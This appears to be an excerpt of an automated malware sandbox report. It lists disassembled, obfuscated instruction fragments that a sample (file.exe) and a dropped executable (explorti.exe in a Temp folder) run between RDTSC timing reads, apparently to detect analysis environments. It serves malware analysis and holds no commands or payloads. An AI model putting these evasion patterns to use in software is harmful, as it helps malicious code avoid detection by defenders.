Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0227 second address: 54C028A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d mov esi, eax 0x0000000f lea eax, dword ptr [ebp-08h] 0x00000012 xor esi, dword ptr [00B52014h] 0x00000018 push eax 0x00000019 push eax 0x0000001a push eax 0x0000001b lea eax, dword ptr [ebp-10h] 0x0000001e push eax 0x0000001f call 00007FF0C14F6505h 0x00000024 push FFFFFFFEh 0x00000026 jmp 00007FF0BCB462BEh 0x0000002b pop eax 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f pushfd 0x00000030 jmp 00007FF0BCB462BDh 0x00000035 or eax, 2E9C3156h 0x0000003b jmp 00007FF0BCB462C1h 0x00000040 popfd 0x00000041 jmp 00007FF0BCB462C0h 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C028A second address: 54C0290 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0290 second address: 54C0294 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0294 second address: 54C02C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 ret 0x00000009 nop 0x0000000a push eax 0x0000000b call 00007FF0C120187Ch 0x00000010 mov edi, edi 0x00000012 pushad 0x00000013 movsx ebx, cx 0x00000016 mov cx, E0A7h 0x0000001a popad 0x0000001b xchg eax, ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FF0BC8515E9h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C02C4 second address: 54C0322 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, dh 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FF0BCB462C2h 0x00000010 adc si, 2F68h 0x00000015 jmp 00007FF0BCB462BBh 0x0000001a popfd 0x0000001b call 00007FF0BCB462C8h 0x00000020 push eax 0x00000021 pop ebx 0x00000022 pop ecx 0x00000023 popad 0x00000024 xchg eax, ebp 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FF0BCB462BFh 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0322 second address: 54C0326 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54C0326 second address: 54C032C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470010 second address: 547001A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, 454414A4h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547001A second address: 54700A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462BAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FF0BCB462BBh 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 call 00007FF0BCB462C4h 0x00000016 mov ebx, eax 0x00000018 pop ecx 0x00000019 popad 0x0000001a mov ebp, esp 0x0000001c jmp 00007FF0BCB462C9h 0x00000021 and esp, FFFFFFF8h 0x00000024 push eax 0x00000025 push edx 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FF0BCB462C3h 0x0000002d add eax, 6475542Eh 0x00000033 jmp 00007FF0BCB462C9h 0x00000038 popfd 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54700A5 second address: 54700AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54700AA second address: 54700B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, dx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54700B2 second address: 54700FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esp 0x00000008 pushad 0x00000009 mov ax, 93A7h 0x0000000d jmp 00007FF0BC8515DCh 0x00000012 popad 0x00000013 mov dword ptr [esp], ecx 0x00000016 pushad 0x00000017 push esi 0x00000018 mov ebx, 7AA016F0h 0x0000001d pop edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushfd 0x00000021 jmp 00007FF0BC8515E4h 0x00000026 xor ah, 00000038h 0x00000029 jmp 00007FF0BC8515DBh 0x0000002e popfd 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54700FD second address: 547015E instructions: 0x00000000 rdtsc 0x00000002 movzx eax, di 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push edx 0x00000009 jmp 00007FF0BCB462C0h 0x0000000e mov dword ptr [esp], ebx 0x00000011 jmp 00007FF0BCB462C0h 0x00000016 mov ebx, dword ptr [ebp+10h] 0x00000019 jmp 00007FF0BCB462C0h 0x0000001e xchg eax, esi 0x0000001f jmp 00007FF0BCB462C0h 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 jmp 00007FF0BCB462BEh 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 547015E second address: 54701EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF0BC8515E1h 0x00000009 adc ax, 6346h 0x0000000e jmp 00007FF0BC8515E1h 0x00000013 popfd 0x00000014 mov dl, cl 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, esi 0x0000001a pushad 0x0000001b jmp 00007FF0BC8515E9h 0x00000020 mov di, ax 0x00000023 popad 0x00000024 mov esi, dword ptr [ebp+08h] 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007FF0BC8515E8h 0x0000002e or ecx, 73D37D78h 0x00000034 jmp 00007FF0BC8515DBh 0x00000039 popfd 0x0000003a mov bl, al 0x0000003c popad 0x0000003d push edx 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 movsx edi, si 0x00000044 pushad 0x00000045 popad 0x00000046 popad 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54701EA second address: 5470262 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF0BCB462BBh 0x00000009 sub al, FFFFFFEEh 0x0000000c jmp 00007FF0BCB462C9h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007FF0BCB462C0h 0x00000018 adc cl, 00000068h 0x0000001b jmp 00007FF0BCB462BBh 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 mov dword ptr [esp], edi 0x00000027 pushad 0x00000028 mov edi, ecx 0x0000002a mov esi, 47753F57h 0x0000002f popad 0x00000030 test esi, esi 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FF0BCB462C9h 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470262 second address: 5470268 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470268 second address: 54702D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FF12E60464Ah 0x00000011 pushad 0x00000012 mov bx, cx 0x00000015 pushad 0x00000016 jmp 00007FF0BCB462BEh 0x0000001b jmp 00007FF0BCB462C2h 0x00000020 popad 0x00000021 popad 0x00000022 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000029 pushad 0x0000002a jmp 00007FF0BCB462BEh 0x0000002f mov ch, 8Dh 0x00000031 popad 0x00000032 je 00007FF12E60461Ah 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b mov dx, cx 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54702D5 second address: 54702DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54702DA second address: 54702EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF0BCB462BCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54702EA second address: 54702EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54702EE second address: 54703A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [esi+44h] 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FF0BCB462BDh 0x00000012 sub eax, 0E1A87B6h 0x00000018 jmp 00007FF0BCB462C1h 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007FF0BCB462C0h 0x00000024 jmp 00007FF0BCB462C5h 0x00000029 popfd 0x0000002a popad 0x0000002b or edx, dword ptr [ebp+0Ch] 0x0000002e jmp 00007FF0BCB462BEh 0x00000033 test edx, 61000000h 0x00000039 pushad 0x0000003a pushfd 0x0000003b jmp 00007FF0BCB462BEh 0x00000040 jmp 00007FF0BCB462C5h 0x00000045 popfd 0x00000046 mov bx, cx 0x00000049 popad 0x0000004a jne 00007FF12E6045B5h 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 mov dl, E8h 0x00000055 call 00007FF0BCB462C0h 0x0000005a pop ecx 0x0000005b popad 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54703A6 second address: 54703AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546079D second address: 54607A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54607A3 second address: 54607A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54607A7 second address: 546085A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a pushad 0x0000000b call 00007FF0BCB462C6h 0x00000010 pop ecx 0x00000011 pushfd 0x00000012 jmp 00007FF0BCB462BBh 0x00000017 xor ax, 7FCEh 0x0000001c jmp 00007FF0BCB462C9h 0x00000021 popfd 0x00000022 popad 0x00000023 mov di, si 0x00000026 popad 0x00000027 push eax 0x00000028 pushad 0x00000029 jmp 00007FF0BCB462C3h 0x0000002e push esi 0x0000002f mov dl, 29h 0x00000031 pop ecx 0x00000032 popad 0x00000033 xchg eax, ebp 0x00000034 jmp 00007FF0BCB462C7h 0x00000039 mov ebp, esp 0x0000003b push eax 0x0000003c push edx 0x0000003d pushad 0x0000003e pushad 0x0000003f popad 0x00000040 pushfd 0x00000041 jmp 00007FF0BCB462C1h 0x00000046 sub ch, FFFFFFC6h 0x00000049 jmp 00007FF0BCB462C1h 0x0000004e popfd 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546085A second address: 54608B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c pushad 0x0000000d mov edi, esi 0x0000000f pushfd 0x00000010 jmp 00007FF0BC8515E8h 0x00000015 sbb cl, FFFFFFC8h 0x00000018 jmp 00007FF0BC8515DBh 0x0000001d popfd 0x0000001e popad 0x0000001f xchg eax, ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FF0BC8515E5h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54608B6 second address: 54608E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462C1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FF0BCB462C1h 0x0000000f xchg eax, ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54608E4 second address: 54608EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54608EA second address: 54608F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54608F0 second address: 5460945 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c jmp 00007FF0BC8515E0h 0x00000011 push eax 0x00000012 pushad 0x00000013 jmp 00007FF0BC8515E1h 0x00000018 mov edx, esi 0x0000001a popad 0x0000001b xchg eax, esi 0x0000001c jmp 00007FF0BC8515DAh 0x00000021 mov esi, dword ptr [ebp+08h] 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FF0BC8515DAh 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460945 second address: 546094B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 546094B second address: 5460951 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460951 second address: 5460955 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460955 second address: 5460988 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub ebx, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FF0BC8515DEh 0x00000013 sbb cx, 8808h 0x00000018 jmp 00007FF0BC8515DBh 0x0000001d popfd 0x0000001e mov eax, 243C4E7Fh 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460988 second address: 54609DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, 18h 0x00000005 push eax 0x00000006 pop edx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a test esi, esi 0x0000000c jmp 00007FF0BCB462C6h 0x00000011 je 00007FF12E60BC9Ah 0x00000017 pushad 0x00000018 call 00007FF0BCB462BEh 0x0000001d pop edi 0x0000001e mov si, 929Dh 0x00000022 popad 0x00000023 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FF0BCB462BFh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54609DD second address: 5460A88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF0BC8515DFh 0x00000009 sbb cx, B3BEh 0x0000000e jmp 00007FF0BC8515E9h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FF0BC8515E0h 0x0000001a add ch, FFFFFFB8h 0x0000001d jmp 00007FF0BC8515DBh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 mov ecx, esi 0x00000028 jmp 00007FF0BC8515E6h 0x0000002d je 00007FF12E316F2Fh 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 mov cx, di 0x00000039 pushfd 0x0000003a jmp 00007FF0BC8515E9h 0x0000003f xor cx, 90B6h 0x00000044 jmp 00007FF0BC8515E1h 0x00000049 popfd 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460A88 second address: 5460A8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460A8E second address: 5460AEB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test byte ptr [76FB6968h], 00000002h 0x00000012 jmp 00007FF0BC8515E6h 0x00000017 jne 00007FF12E316EC8h 0x0000001d jmp 00007FF0BC8515E0h 0x00000022 mov edx, dword ptr [ebp+0Ch] 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007FF0BC8515DAh 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460AEB second address: 5460AFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460AFA second address: 5460B32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FF0BC8515DEh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov eax, 539175C3h 0x00000018 push esi 0x00000019 pop ebx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460B32 second address: 5460B38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460B38 second address: 5460B3C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5460D46 second address: 5460D4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470C07 second address: 5470C88 instructions: 0x00000000 rdtsc 0x00000002 mov esi, 51F4BB5Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov al, AEh 0x0000000b popad 0x0000000c push eax 0x0000000d jmp 00007FF0BC8515DEh 0x00000012 xchg eax, ebp 0x00000013 pushad 0x00000014 movzx esi, dx 0x00000017 mov ebx, 47801D5Eh 0x0000001c popad 0x0000001d mov ebp, esp 0x0000001f pushad 0x00000020 mov eax, edx 0x00000022 pushfd 0x00000023 jmp 00007FF0BC8515E7h 0x00000028 or ecx, 3EE9A2BEh 0x0000002e jmp 00007FF0BC8515E9h 0x00000033 popfd 0x00000034 popad 0x00000035 pop ebp 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FF0BC8515E8h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470C88 second address: 5470C97 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BCB462BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470C97 second address: 5470C9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5470C9D second address: 5470CA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F056C second address: 54F0594 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515DFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d call 00007FF0BC8515DBh 0x00000012 pop eax 0x00000013 mov bx, 5E1Ch 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F0594 second address: 54F05B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FF0BCB462C0h 0x00000008 pop eax 0x00000009 mov dh, 90h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54F05B4 second address: 54F05E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007FF0BC8515E5h 0x0000000a sbb al, FFFFFFD6h 0x0000000d jmp 00007FF0BC8515E1h 0x00000012 popfd 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0A39 second address: 54E0A3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0A3F second address: 54E0A43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0A43 second address: 54E0A86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FF0BCB462BEh 0x0000000e xchg eax, ebp 0x0000000f jmp 00007FF0BCB462C0h 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FF0BCB462C7h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0A86 second address: 54E0A8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0A8C second address: 54E0A90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0845 second address: 54E085F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF0BC8515E6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E085F second address: 54E0864 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0864 second address: 54E08B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dl, 2Dh 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov dl, ah 0x0000000d pushfd 0x0000000e jmp 00007FF0BC8515E1h 0x00000013 sbb ecx, 63B33956h 0x00000019 jmp 00007FF0BC8515E1h 0x0000001e popfd 0x0000001f popad 0x00000020 push eax 0x00000021 jmp 00007FF0BC8515E1h 0x00000026 xchg eax, ebp 0x00000027 pushad 0x00000028 push eax 0x00000029 push edx 0x0000002a mov dx, cx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E08B5 second address: 54E08B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0C74 second address: 54E0CBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, BA52h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b jmp 00007FF0BC8515E4h 0x00000010 push eax 0x00000011 jmp 00007FF0BC8515DBh 0x00000016 xchg eax, ebp 0x00000017 jmp 00007FF0BC8515E6h 0x0000001c mov ebp, esp 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0CBF second address: 54E0CC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0D8A second address: 54E0D90 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0D90 second address: 54E0D96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0D96 second address: 54E0D9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0D9A second address: 54E0D9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0D9E second address: 54E0DB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 movzx eax, al 0x0000000b pushad 0x0000000c mov edi, eax 0x0000000e mov cx, 2023h 0x00000012 popad 0x00000013 pop ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0DB8 second address: 54E0DBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 54E0DBC second address: 54E0DC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: B5F05E second address: B5F064 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	RDTSC instruction interceptor: First address: B5E8ED second address: B5E8F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
